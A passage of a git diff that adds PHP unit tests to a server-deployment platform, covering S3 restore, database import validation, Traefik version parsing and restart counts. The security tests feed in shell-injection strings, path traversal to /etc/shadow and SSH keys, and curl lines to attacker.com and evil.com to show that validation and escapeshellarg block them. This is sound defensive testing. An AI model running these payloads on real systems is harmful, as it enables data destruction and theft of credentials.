+    ]);
+
+    $user = Mockery::mock(User::class)->makePartial();
+    $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
+
+    $storage = Mockery::mock(S3Storage::class)->makePartial();
+    $storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
+    $storage->team_id = 2;
+
+    $policy = new S3StoragePolicy;
+    expect($policy->validateConnection($user, $storage))->toBeFalse();
+});
diff --git a/tests/Unit/Project/Database/ImportCheckFileButtonTest.php b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php
new file mode 100644
index 000000000..a305160c0
--- /dev/null
+++ b/tests/Unit/Project/Database/ImportCheckFileButtonTest.php
@@ -0,0 +1,128 @@
+<?php
+
+use App\Livewire\Project\Database\Import;
+use App\Models\Server;
+
+test('checkFile does nothing when customLocation is empty', function () {
+    $component = new Import;
+    $component->customLocation = '';
+
+    $mockServer = Mockery::mock(Server::class);
+    $component->server = $mockServer;
+
+    // No server commands should be executed when customLocation is empty
+    $component->checkFile();
+
+    expect($component->filename)->toBeNull();
+});
+
+test('checkFile validates file exists on server when customLocation is filled', function () {
+    $component = new Import;
+    $component->customLocation = '/tmp/backup.sql';
+
+    $mockServer = Mockery::mock(Server::class);
+    $component->server = $mockServer;
+
+    // This test verifies the logic flows when customLocation has a value
+    // The actual remote process execution is tested elsewhere
+    expect($component->customLocation)->toBe('/tmp/backup.sql');
+});
+
+test('customLocation can be cleared to allow uploaded file to be used', function () {
+    $component = new Import;
+    $component->customLocation = '/tmp/backup.sql';
+
+    // Simulate clearing the customLocation (as happens when file is uploaded)
+    $component->customLocation = '';
+
+    expect($component->customLocation)->toBe('');
+});
+
+test('validateBucketName accepts valid bucket names', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateBucketName');
+
+    // Valid bucket names
+    expect($method->invoke($component, 'my-bucket'))->toBeTrue();
+    expect($method->invoke($component, 'my_bucket'))->toBeTrue();
+    expect($method->invoke($component, 'mybucket123'))->toBeTrue();
+    expect($method->invoke($component, 'my.bucket.name'))->toBeTrue();
+    expect($method->invoke($component, 'Bucket-Name_123'))->toBeTrue();
+});
+
+test('validateBucketName rejects invalid bucket names', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateBucketName');
+
+    // Invalid bucket names (command injection attempts)
+    expect($method->invoke($component, 'bucket;rm -rf /'))->toBeFalse();
+    expect($method->invoke($component, 'bucket$(whoami)'))->toBeFalse();
+    expect($method->invoke($component, 'bucket`id`'))->toBeFalse();
+    expect($method->invoke($component, 'bucket|cat /etc/passwd'))->toBeFalse();
+    expect($method->invoke($component, 'bucket&ls'))->toBeFalse();
+    expect($method->invoke($component, "bucket\nid"))->toBeFalse();
+    expect($method->invoke($component, 'bucket name'))->toBeFalse(); // Space not allowed in bucket
+});
+
+test('validateS3Path accepts valid S3 paths', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateS3Path');
+
+    // Valid S3 paths
+    expect($method->invoke($component, 'backup.sql'))->toBeTrue();
+    expect($method->invoke($component, 'folder/backup.sql'))->toBeTrue();
+    expect($method->invoke($component, 'my-folder/my_backup.sql.gz'))->toBeTrue();
+    expect($method->invoke($component, 'path/to/deep/file.tar.gz'))->toBeTrue();
+    expect($method->invoke($component, 'folder with space/file.sql'))->toBeTrue();
+});
+
+test('validateS3Path rejects invalid S3 paths', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateS3Path');
+
+    // Invalid S3 paths (command injection attempts)
+    expect($method->invoke($component, ''))->toBeFalse(); // Empty
+    expect($method->invoke($component, '../etc/passwd'))->toBeFalse(); // Directory traversal
+    expect($method->invoke($component, 'path;rm -rf /'))->toBeFalse();
+    expect($method->invoke($component, 'path$(whoami)'))->toBeFalse();
+    expect($method->invoke($component, 'path`id`'))->toBeFalse();
+    expect($method->invoke($component, 'path|cat /etc/passwd'))->toBeFalse();
+    expect($method->invoke($component, 'path&ls'))->toBeFalse();
+    expect($method->invoke($component, "path\nid"))->toBeFalse();
+    expect($method->invoke($component, "path\r\nid"))->toBeFalse();
+    expect($method->invoke($component, "path\0id"))->toBeFalse(); // Null byte
+    expect($method->invoke($component, "path'injection"))->toBeFalse();
+    expect($method->invoke($component, 'path"injection'))->toBeFalse();
+    expect($method->invoke($component, 'path\\injection'))->toBeFalse();
+});
+
+test('validateServerPath accepts valid server paths', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateServerPath');
+
+    // Valid server paths (must be absolute)
+    expect($method->invoke($component, '/tmp/backup.sql'))->toBeTrue();
+    expect($method->invoke($component, '/var/backups/my-backup.sql'))->toBeTrue();
+    expect($method->invoke($component, '/home/user/data_backup.sql.gz'))->toBeTrue();
+    expect($method->invoke($component, '/path/to/deep/nested/file.tar.gz'))->toBeTrue();
+});
+
+test('validateServerPath rejects invalid server paths', function () {
+    $component = new Import;
+    $method = new ReflectionMethod($component, 'validateServerPath');
+
+    // Invalid server paths
+    expect($method->invoke($component, 'relative/path.sql'))->toBeFalse(); // Not absolute
+    expect($method->invoke($component, '/path/../etc/passwd'))->toBeFalse(); // Directory traversal
+    expect($method->invoke($component, '/path;rm -rf /'))->toBeFalse();
+    expect($method->invoke($component, '/path$(whoami)'))->toBeFalse();
+    expect($method->invoke($component, '/path`id`'))->toBeFalse();
+    expect($method->invoke($component, '/path|cat /etc/passwd'))->toBeFalse();
+    expect($method->invoke($component, '/path&ls'))->toBeFalse();
+    expect($method->invoke($component, "/path\nid"))->toBeFalse();
+    expect($method->invoke($component, "/path\r\nid"))->toBeFalse();
+    expect($method->invoke($component, "/path\0id"))->toBeFalse(); // Null byte
+    expect($method->invoke($component, "/path'injection"))->toBeFalse();
+    expect($method->invoke($component, '/path"injection'))->toBeFalse();
+    expect($method->invoke($component, '/path\\injection'))->toBeFalse();
+});
diff --git a/tests/Unit/ProxyHelperTest.php b/tests/Unit/ProxyHelperTest.php
new file mode 100644
index 000000000..563d9df1b
--- /dev/null
+++ b/tests/Unit/ProxyHelperTest.php
@@ -0,0 +1,155 @@
+<?php
+
+use Illuminate\Support\Facades\Log;
+
+beforeEach(function () {
+    // Mock Log facade to prevent actual logging during tests
+    Log::shouldReceive('debug')->andReturn(null);
+    Log::shouldReceive('error')->andReturn(null);
+});
+
+it('parses traefik version with v prefix', function () {
+    $image = 'traefik:v3.6';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('v3.6');
+});
+
+it('parses traefik version without v prefix', function () {
+    $image = 'traefik:3.6.0';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('3.6.0');
+});
+
+it('parses traefik latest tag', function () {
+    $image = 'traefik:latest';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('latest');
+});
+
+it('parses traefik version with patch number', function () {
+    $image = 'traefik:v3.5.1';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('v3.5.1');
+});
+
+it('parses traefik version with minor only', function () {
+    $image = 'traefik:3.6';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('3.6');
+});
+
+it('returns null for invalid image format', function () {
+    $image = 'nginx:latest';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches)->toBeEmpty();
+});
+
+it('returns null for empty image string', function () {
+    $image = '';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches)->toBeEmpty();
+});
+
+it('handles case insensitive traefik image name', function () {
+    $image = 'TRAEFIK:v3.6';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('v3.6');
+});
+
+it('parses full docker image with registry', function () {
+    $image = 'docker.io/library/traefik:v3.6';
+    preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
+
+    expect($matches[1])->toBe('v3.6');
+});
+
+it('compares versions correctly after stripping v prefix', function () {
+    $version1 = 'v3.5';
+    $version2 = 'v3.6';
+
+    $result = version_compare(ltrim($version1, 'v'), ltrim($version2, 'v'), '<');
+
+    expect($result)->toBeTrue();
+});
+
+it('compares same versions as equal', function () {
+    $version1 = 'v3.6';
+    $version2 = '3.6';
+
+    $result = version_compare(ltrim($version1, 'v'), ltrim($version2, 'v'), '=');
+
+    expect($result)->toBeTrue();
+});
+
+it('compares versions with patch numbers', function () {
+    $version1 = '3.5.1';
+    $version2 = '3.6.0';
+
+    $result = version_compare($version1, $version2, '<');
+
+    expect($result)->toBeTrue();
+});
+
+it('parses exact version from traefik version command output', function () {
+    $output = "Version:      3.6.0\nCodename:     ramequin\nGo version:   go1.24.10";
+    preg_match('/Version:\s+(\d+\.\d+\.\d+)/', $output, $matches);
+
+    expect($matches[1])->toBe('3.6.0');
+});
+
+it('parses exact version from OCI label with v prefix', function () {
+    $label = 'v3.6.0';
+    preg_match('/(\d+\.\d+\.\d+)/', $label, $matches);
+
+    expect($matches[1])->toBe('3.6.0');
+});
+
+it('parses exact version from OCI label without v prefix', function () {
+    $label = '3.6.0';
+    preg_match('/(\d+\.\d+\.\d+)/', $label, $matches);
+
+    expect($matches[1])->toBe('3.6.0');
+});
+
+it('extracts major.minor branch from full version', function () {
+    $version = '3.6.0';
+    preg_match('/^(\d+\.\d+)\.(\d+)$/', $version, $matches);
+
+    expect($matches[1])->toBe('3.6'); // branch
+    expect($matches[2])->toBe('0');   // patch
+});
+
+it('compares patch versions within same branch', function () {
+    $current = '3.6.0';
+    $latest = '3.6.2';
+
+    $result = version_compare($current, $latest, '<');
+
+    expect($result)->toBeTrue();
+});
+
+it('detects up-to-date patch version', function () {
+    $current = '3.6.2';
+    $latest = '3.6.2';
+
+    $result = version_compare($current, $latest, '=');
+
+    expect($result)->toBeTrue();
+});
+
+it('compares branches for minor upgrades', function () {
+    $currentBranch = '3.5';
+    $newerBranch = '3.6';
+
+    $result = version_compare($currentBranch, $newerBranch, '<');
+
+    expect($result)->toBeTrue();
+});
diff --git a/tests/Unit/RestartCountTrackingTest.php b/tests/Unit/RestartCountTrackingTest.php
new file mode 100644
index 000000000..252ce56ce
--- /dev/null
+++ b/tests/Unit/RestartCountTrackingTest.php
@@ -0,0 +1,82 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Server;
+
+beforeEach(function () {
+    // Mock server
+    $this->server = Mockery::mock(Server::class);
+    $this->server->shouldReceive('isFunctional')->andReturn(true);
+    $this->server->shouldReceive('isSwarm')->andReturn(false);
+    $this->server->shouldReceive('applications')->andReturn(collect());
+
+    // Mock application
+    $this->application = Mockery::mock(Application::class);
+    $this->application->shouldReceive('getAttribute')->with('id')->andReturn(1);
+    $this->application->shouldReceive('getAttribute')->with('name')->andReturn('test-app');
+    $this->application->shouldReceive('getAttribute')->with('restart_count')->andReturn(0);
+    $this->application->shouldReceive('getAttribute')->with('uuid')->andReturn('test-uuid');
+    $this->application->shouldReceive('getAttribute')->with('environment')->andReturn(null);
+});
+
+it('extracts restart count from container data', function () {
+    $containerData = [
+        'RestartCount' => 5,
+        'State' => [
+            'Status' => 'running',
+            'Health' => ['Status' => 'healthy'],
+        ],
+        'Config' => [
+            'Labels' => [
+                'coolify.applicationId' => '1',
+                'com.docker.compose.service' => 'web',
+            ],
+        ],
+    ];
+
+    $restartCount = data_get($containerData, 'RestartCount', 0);
+
+    expect($restartCount)->toBe(5);
+});
+
+it('defaults to zero when restart count is missing', function () {
+    $containerData = [
+        'State' => [
+            'Status' => 'running',
+        ],
+        'Config' => [
+            'Labels' => [],
+        ],
+    ];
+
+    $restartCount = data_get($containerData, 'RestartCount', 0);
+
+    expect($restartCount)->toBe(0);
+});
+
+it('detects restart count increase', function () {
+    $previousRestartCount = 2;
+    $currentRestartCount = 5;
+
+    expect($currentRestartCount)->toBeGreaterThan($previousRestartCount);
+});
+
+it('identifies maximum restart count from multiple containers', function () {
+    $containerRestartCounts = collect([
+        'web' => 3,
+        'worker' => 5,
+        'scheduler' => 1,
+    ]);
+
+    $maxRestartCount = $containerRestartCounts->max();
+
+    expect($maxRestartCount)->toBe(5);
+});
+
+it('handles empty restart counts collection', function () {
+    $containerRestartCounts = collect([]);
+
+    $maxRestartCount = $containerRestartCounts->max() ?? 0;
+
+    expect($maxRestartCount)->toBe(0);
+});
diff --git a/tests/Unit/RestoreJobFinishedNullServerTest.php b/tests/Unit/RestoreJobFinishedNullServerTest.php
new file mode 100644
index 000000000..d3dfb2f9a
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedNullServerTest.php
@@ -0,0 +1,93 @@
+<?php
+
+use App\Events\RestoreJobFinished;
+use App\Events\S3RestoreJobFinished;
+use App\Models\Server;
+
+/**
+ * Tests for RestoreJobFinished and S3RestoreJobFinished events to ensure they handle
+ * null server scenarios gracefully (when server is deleted during operation).
+ */
+describe('RestoreJobFinished null server handling', function () {
+    afterEach(function () {
+        Mockery::close();
+    });
+
+    it('handles null server gracefully in RestoreJobFinished event', function () {
+        // Mock Server::find to return null (server was deleted)
+        $mockServer = Mockery::mock('alias:'.Server::class);
+        $mockServer->shouldReceive('find')
+            ->with(999)
+            ->andReturn(null);
+
+        $data = [
+            'scriptPath' => '/tmp/script.sh',
+            'tmpPath' => '/tmp/backup.sql',
+            'container' => 'test-container',
+            'serverId' => 999,
+        ];
+
+        // Should not throw an error when server is null
+        expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+
+    it('handles null server gracefully in S3RestoreJobFinished event', function () {
+        // Mock Server::find to return null (server was deleted)
+        $mockServer = Mockery::mock('alias:'.Server::class);
+        $mockServer->shouldReceive('find')
+            ->with(999)
+            ->andReturn(null);
+
+        $data = [
+            'containerName' => 'helper-container',
+            'serverTmpPath' => '/tmp/downloaded.sql',
+            'scriptPath' => '/tmp/script.sh',
+            'containerTmpPath' => '/tmp/container-file.sql',
+            'container' => 'test-container',
+            'serverId' => 999,
+        ];
+
+        // Should not throw an error when server is null
+        expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+
+    it('handles empty serverId in RestoreJobFinished event', function () {
+        $data = [
+            'scriptPath' => '/tmp/script.sh',
+            'tmpPath' => '/tmp/backup.sql',
+            'container' => 'test-container',
+            'serverId' => null,
+        ];
+
+        // Should not throw an error when serverId is null
+        expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+
+    it('handles empty serverId in S3RestoreJobFinished event', function () {
+        $data = [
+            'containerName' => 'helper-container',
+            'serverTmpPath' => '/tmp/downloaded.sql',
+            'scriptPath' => '/tmp/script.sh',
+            'containerTmpPath' => '/tmp/container-file.sql',
+            'container' => 'test-container',
+            'serverId' => null,
+        ];
+
+        // Should not throw an error when serverId is null
+        expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+
+    it('handles missing data gracefully in RestoreJobFinished', function () {
+        $data = [];
+
+        // Should not throw an error when data is empty
+        expect(fn () => new RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+
+    it('handles missing data gracefully in S3RestoreJobFinished', function () {
+        $data = [];
+
+        // Should not throw an error when data is empty
+        expect(fn () => new S3RestoreJobFinished($data))->not->toThrow(\Throwable::class);
+    });
+});
diff --git a/tests/Unit/RestoreJobFinishedSecurityTest.php b/tests/Unit/RestoreJobFinishedSecurityTest.php
new file mode 100644
index 000000000..0f3dca08c
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedSecurityTest.php
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Security tests for RestoreJobFinished event to ensure it uses secure path validation.
+ */
+describe('RestoreJobFinished event security', function () {
+    it('validates that safe paths pass validation', function () {
+        $validPaths = [
+            '/tmp/restore-backup.sql',
+            '/tmp/restore-script.sh',
+            '/tmp/database-dump-'.uniqid().'.sql',
+        ];
+
+        foreach ($validPaths as $path) {
+            expect(isSafeTmpPath($path))->toBeTrue();
+        }
+    });
+
+    it('validates that malicious paths fail validation', function () {
+        $maliciousPaths = [
+            '/tmp/../etc/passwd',
+            '/tmp/foo/../../etc/shadow',
+            '/etc/sensitive-file',
+            '/var/www/config.php',
+            '/tmp/../../../root/.ssh/id_rsa',
+        ];
+
+        foreach ($maliciousPaths as $path) {
+            expect(isSafeTmpPath($path))->toBeFalse();
+        }
+    });
+
+    it('rejects URL-encoded path traversal attempts', function () {
+        $encodedTraversalPaths = [
+            '/tmp/%2e%2e/etc/passwd',
+            '/tmp/foo%2f%2e%2e%2f%2e%2e/etc/shadow',
+            urlencode('/tmp/../etc/passwd'),
+        ];
+
+        foreach ($encodedTraversalPaths as $path) {
+            expect(isSafeTmpPath($path))->toBeFalse();
+        }
+    });
+
+    it('handles edge cases correctly', function () {
+        // Too short
+        expect(isSafeTmpPath('/tmp'))->toBeFalse();
+        expect(isSafeTmpPath('/tmp/'))->toBeFalse();
+
+        // Null/empty
+        expect(isSafeTmpPath(null))->toBeFalse();
+        expect(isSafeTmpPath(''))->toBeFalse();
+
+        // Null byte injection
+        expect(isSafeTmpPath("/tmp/file.sql\0../../etc/passwd"))->toBeFalse();
+
+        // Valid edge cases
+        expect(isSafeTmpPath('/tmp/x'))->toBeTrue();
+        expect(isSafeTmpPath('/tmp/very/deeply/nested/path/to/file.sql'))->toBeTrue();
+    });
+});
diff --git a/tests/Unit/RestoreJobFinishedShellEscapingTest.php b/tests/Unit/RestoreJobFinishedShellEscapingTest.php
new file mode 100644
index 000000000..e45ec966b
--- /dev/null
+++ b/tests/Unit/RestoreJobFinishedShellEscapingTest.php
@@ -0,0 +1,118 @@
+<?php
+
+/**
+ * Security tests for shell metacharacter escaping in restore events.
+ *
+ * These tests verify that escapeshellarg() properly neutralizes shell injection
+ * attempts in paths that pass isSafeTmpPath() validation.
+ */
+describe('Shell metacharacter escaping in restore events', function () {
+    it('demonstrates that malicious paths can pass isSafeTmpPath but are neutralized by escapeshellarg', function () {
+        // This path passes isSafeTmpPath() validation (it's within /tmp/, no .., no null bytes)
+        $maliciousPath = "/tmp/file'; whoami; '";
+
+        // Path validation passes - it's a valid /tmp/ path
+        expect(isSafeTmpPath($maliciousPath))->toBeTrue();
+
+        // But when escaped, the shell metacharacters become literal strings
+        $escaped = escapeshellarg($maliciousPath);
+
+        // The escaped version wraps in single quotes and escapes internal single quotes
+        expect($escaped)->toBe("'/tmp/file'\\''; whoami; '\\'''");
+
+        // Building a command with escaped path is safe
+        $command = "rm -f {$escaped}";
+
+        // The command contains the quoted path, not an unquoted injection
+        expect($command)->toStartWith("rm -f '");
+        expect($command)->toEndWith("'");
+    });
+
+    it('escapes paths with semicolon injection attempts', function () {
+        $path = '/tmp/backup; rm -rf /; echo';
+        expect(isSafeTmpPath($path))->toBeTrue();
+
+        $escaped = escapeshellarg($path);
+        expect($escaped)->toBe("'/tmp/backup; rm -rf /; echo'");
+
+        // The semicolons are inside quotes, so they're treated as literals
+        $command = "rm -f {$escaped}";
+        expect($command)->toBe("rm -f '/tmp/backup; rm -rf /; echo'");
+    });
+
+    it('escapes paths with backtick command substitution attempts', function () {
+        $path = '/tmp/backup`whoami`.sql';
+        expect(isSafeTmpPath($path))->toBeTrue();
+
+        $escaped = escapeshellarg($path);
+        expect($escaped)->toBe("'/tmp/backup`whoami`.sql'");
+
+        // Backticks inside single quotes are not executed
+        $command = "rm -f {$escaped}";
+        expect($command)->toBe("rm -f '/tmp/backup`whoami`.sql'");
+    });
+
+    it('escapes paths with $() command substitution attempts', function () {
+        $path = '/tmp/backup$(id).sql';
+        expect(isSafeTmpPath($path))->toBeTrue();
+
+        $escaped = escapeshellarg($path);
+        expect($escaped)->toBe("'/tmp/backup\$(id).sql'");
+
+        // $() inside single quotes is not executed
+        $command = "rm -f {$escaped}";
+        expect($command)->toBe("rm -f '/tmp/backup\$(id).sql'");
+    });
+
+    it('escapes paths with pipe injection attempts', function () {
+        $path = '/tmp/backup | cat /etc/passwd';
+        expect(isSafeTmpPath($path))->toBeTrue();
+
+        $escaped = escapeshellarg($path);
+        expect($escaped)->toBe("'/tmp/backup | cat /etc/passwd'");
+
+        // Pipe inside single quotes is treated as literal
+        $command = "rm -f {$escaped}";
+        expect($command)->toBe("rm -f '/tmp/backup | cat /etc/passwd'");
+    });
+
+    it('escapes paths with newline injection attempts', function () {
+        $path = "/tmp/backup\nwhoami";
+        expect(isSafeTmpPath($path))->toBeTrue();
+
+        $escaped = escapeshellarg($path);
+        // Newline is preserved inside single quotes
+        expect($escaped)->toContain("\n");
+        expect($escaped)->toStartWith("'");
+        expect($escaped)->toEndWith("'");
+    });
+
+    it('handles normal paths without issues', function () {
+        $normalPaths = [
+            '/tmp/restore-backup.sql',
+            '/tmp/restore-script.sh',
+            '/tmp/database-dump-abc123.sql',
+            '/tmp/deeply/nested/path/to/file.sql',
+        ];
+
+        foreach ($normalPaths as $path) {
+            expect(isSafeTmpPath($path))->toBeTrue();
+
+            $escaped = escapeshellarg($path);
+            // Normal paths are just wrapped in single quotes
+            expect($escaped)->toBe("'{$path}'");
+        }
+    });
+
+    it('escapes container names with injection attempts', function () {
+        // Container names are not validated by isSafeTmpPath, so escaping is critical
+        $maliciousContainer = 'container"; rm -rf /; echo "pwned';
+        $escaped = escapeshellarg($maliciousContainer);
+
+        expect($escaped)->toBe("'container\"; rm -rf /; echo \"pwned'");
+
+        // Building a docker command with escaped container is safe
+        $command = "docker rm -f {$escaped}";
+        expect($command)->toBe("docker rm -f 'container\"; rm -rf /; echo \"pwned'");
+    });
+});
diff --git a/tests/Unit/S3RestoreSecurityTest.php b/tests/Unit/S3RestoreSecurityTest.php
new file mode 100644
index 000000000..c224ec48c
--- /dev/null
+++ b/tests/Unit/S3RestoreSecurityTest.php
@@ -0,0 +1,98 @@
+<?php
+
+it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
+    // Test that escapeshellarg works correctly for various malicious inputs
+    // This is the core security mechanism used in Import.php line 407-410
+
+    // Test case 1: Secret with command injection attempt
+    $maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
+    $escapedSecret = escapeshellarg($maliciousSecret);
+
+    // escapeshellarg should wrap in single quotes and escape any single quotes
+    expect($escapedSecret)->toBe("'secret\";curl https://attacker.com/ -X POST --data `whoami`;echo \"pwned'");
+
+    // When used in a command, the shell metacharacters should be treated as literal strings
+    $command = "echo {$escapedSecret}";
+    // The dangerous part (";curl) is now safely inside single quotes
+    expect($command)->toContain("'secret"); // Properly quoted
+    expect($escapedSecret)->toStartWith("'"); // Starts with quote
+    expect($escapedSecret)->toEndWith("'"); // Ends with quote
+
+    // Test case 2: Endpoint with command injection
+    $maliciousEndpoint = 'https://s3.example.com";whoami;"';
+    $escapedEndpoint = escapeshellarg($maliciousEndpoint);
+
+    expect($escapedEndpoint)->toBe("'https://s3.example.com\";whoami;\"'");
+
+    // Test case 3: Key with destructive command
+    $maliciousKey = 'access-key";rm -rf /;echo "';
+    $escapedKey = escapeshellarg($maliciousKey);
+
+    expect($escapedKey)->toBe("'access-key\";rm -rf /;echo \"'");
+
+    // Test case 4: Normal credentials should work fine
+    $normalSecret = 'MySecretKey123';
+    $normalEndpoint = 'https://s3.amazonaws.com';
+    $normalKey = 'AKIAIOSFODNN7EXAMPLE';
+
+    expect(escapeshellarg($normalSecret))->toBe("'MySecretKey123'");
+    expect(escapeshellarg($normalEndpoint))->toBe("'https://s3.amazonaws.com'");
+    expect(escapeshellarg($normalKey))->toBe("'AKIAIOSFODNN7EXAMPLE'");
+});
+
+it('verifies command injection is prevented in mc alias set command format', function () {
+    // Simulate the exact scenario from Import.php:407-410
+    $containerName = 's3-restore-test-uuid';
+    $endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
+    $key = 'AKIATEST";whoami;"';
+    $secret = 'SecretKey";rm -rf /tmp;echo "';
+
+    // Before fix (vulnerable):
+    // $vulnerableCommand = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} \"{$secret}\"";
+    // This would allow command injection because $endpoint and $key are not quoted,
+    // and $secret's double quotes can be escaped
+
+    // After fix (secure):
+    $escapedEndpoint = escapeshellarg($endpoint);
+    $escapedKey = escapeshellarg($key);
+    $escapedSecret = escapeshellarg($secret);
+    $secureCommand = "docker exec {$containerName} mc alias set s3temp {$escapedEndpoint} {$escapedKey} {$escapedSecret}";
+
+    // Verify the secure command has properly escaped values
+    expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+    expect($secureCommand)->toContain("'AKIATEST\";whoami;\"'");
+    expect($secureCommand)->toContain("'SecretKey\";rm -rf /tmp;echo \"'");
+
+    // Verify that the command injection attempts are neutered (they're literal strings now)
+    // The values are wrapped in single quotes, so shell metacharacters are treated as literals
+    // Check that all three parameters are properly quoted
+    expect($secureCommand)->toMatch("/mc alias set s3temp '[^']+' '[^']+' '[^']+'/"); // All params in quotes
+
+    // Verify the dangerous parts are inside quotes (between the quote marks)
+    // The pattern "'...\";curl...'" means the semicolon is INSIDE the quoted value
+    expect($secureCommand)->toContain("'https://s3.example.com\";curl http://evil.com;echo \"'");
+
+    // Ensure we're NOT using the old vulnerable pattern with unquoted values
+    $vulnerablePattern = 'mc alias set s3temp https://'; // Unquoted endpoint would match this
+    expect($secureCommand)->not->toContain($vulnerablePattern);
+});
+
+it('handles S3 secrets with single quotes correctly', function () {
+    // Test edge case: secret containing single quotes
+    // escapeshellarg handles this by closing the quote, adding an escaped quote, and reopening
+    $secretWithQuote = "my'secret'key";
+    $escaped = escapeshellarg($secretWithQuote);
+
+    // The expected output format is: 'my'\''secret'\''key'
+    // This is how escapeshellarg handles single quotes in the input
+    expect($escaped)->toBe("'my'\\''secret'\\''key'");
+
+    // Verify it would work in a command context
+    $containerName = 's3-restore-test';
+    $endpoint = escapeshellarg('https://s3.amazonaws.com');
+    $key = escapeshellarg('AKIATEST');
+    $command = "docker exec {$containerName} mc alias set s3temp {$endpoint} {$key} {$escaped}";
+
+    // The command should contain the properly escaped secret
+    expect($command)->toContain("'my'\\''secret'\\''key'");
+});
diff --git a/tests/Unit/S3RestoreTest.php b/tests/Unit/S3RestoreTest.php
new file mode 100644
index 000000000..fffb79794
--- /dev/null
+++ b/tests/Unit/S3RestoreTest.php
@@ -0,0 +1,75 @@
+<?php
+
+test('S3 path is cleaned correctly', function () {
+    // Test that leading slashes are removed
+    $path = '/backups/database.gz';
+    $cleanPath = ltrim($path, '/');
+
+    expect($cleanPath)->toBe('backups/database.gz');
+
+    // Test path without leading slash remains unchanged
+    $path2 = 'backups/database.gz';
+    $cleanPath2 = ltrim($path2, '/');
+
+    expect($cleanPath2)->toBe('backups/database.gz');
+});
+
+test('S3 container name is generated correctly', function () {
+    $resourceUuid = 'test-database-uuid';
+    $containerName = "s3-restore-{$resourceUuid}";
+
+    expect($containerName)->toBe('s3-restore-test-database-uuid');
+    expect($containerName)->toStartWith('s3-restore-');
+});
+
+test('S3 download directory is created correctly', function () {
+    $resourceUuid = 'test-database-uuid';
+    $downloadDir = "/tmp/s3-restore-{$resourceUuid}";
+
+    expect($downloadDir)->toBe('/tmp/s3-restore-test-database-uuid');
+    expect($downloadDir)->toStartWith('/tmp/s3-restore-');
+});
+
+test('cancelS3Download cleans up correctly', function () {
+    // Test that cleanup directory path is correct
+    $resourceUuid = 'test-database-uuid';
+    $downloadDir = "/tmp/s3-restore-{$resourceUuid}";
+    $containerName = "s3-restore-{$resourceUuid}";
+
+    expect($downloadDir)->toContain($resourceUuid);
+    expect($containerName)->toContain($resourceUuid);
+});
+
+test('S3 file path formats are handled correctly', function () {
+    $paths = [
+        '/backups/db.gz',
+        'backups/db.gz',
+        '/nested/path/to/backup.sql.gz',
+        'backup-2025-01-15.gz',
+    ];
+
+    foreach ($paths as $path) {
+        $cleanPath = ltrim($path, '/');
+        expect($cleanPath)->not->toStartWith('/');
+    }
+});
+
+test('formatBytes helper formats file sizes correctly', function () {
+    // Test various file sizes
+    expect(formatBytes(0))->toBe('0 B');
+    expect(formatBytes(null))->toBe('0 B');
+    expect(formatBytes(1024))->toBe('1 KB');
+    expect(formatBytes(1048576))->toBe('1 MB');
+    expect(formatBytes(1073741824))->toBe('1 GB');
+    expect(formatBytes(1099511627776))->toBe('1 TB');
+
+    // Test with different sizes
+    expect(formatBytes(512))->toBe('512 B');
+    expect(formatBytes(2048))->toBe('2 KB');
+    expect(formatBytes(5242880))->toBe('5 MB');
+    expect(formatBytes(10737418240))->toBe('10 GB');
+
+    // Test precision
+    expect(formatBytes(1536, 2))->toBe('1.5 KB');
+    expect(formatBytes(1572864, 1))->toBe('1.5 MB');
+});
diff --git a/tests/Unit/S3StorageTest.php b/tests/Unit/S3StorageTest.php
new file mode 100644
index 000000000..6709f381d
--- /dev/null
+++ b/tests/Unit/S3StorageTest.php
@@ -0,0 +1,53 @@
+<?php
+
+use App\Models\S3Storage;
+
+test('S3Storage model has correct cast definitions', function () {
+    $s3Storage = new S3Storage;
+    $casts = $s3Storage->getCasts();
+
+    expect($casts['is_usable'])->toBe('boolean');
+    expect($casts['key'])->toBe('encrypted');
+    expect($casts['secret'])->toBe('encrypted');
+});
+
+test('S3Storage isUsable method returns is_usable attribute value', function () {
+    $s3Storage = new S3Storage;
+
+    // Set the attribute directly to avoid encryption
+    $s3Storage->setRawAttributes(['is_usable' => true]);
+    expect($s3Storage->isUsable())->toBeTrue();
+
+    $s3Storage->setRawAttributes(['is_usable' => false]);
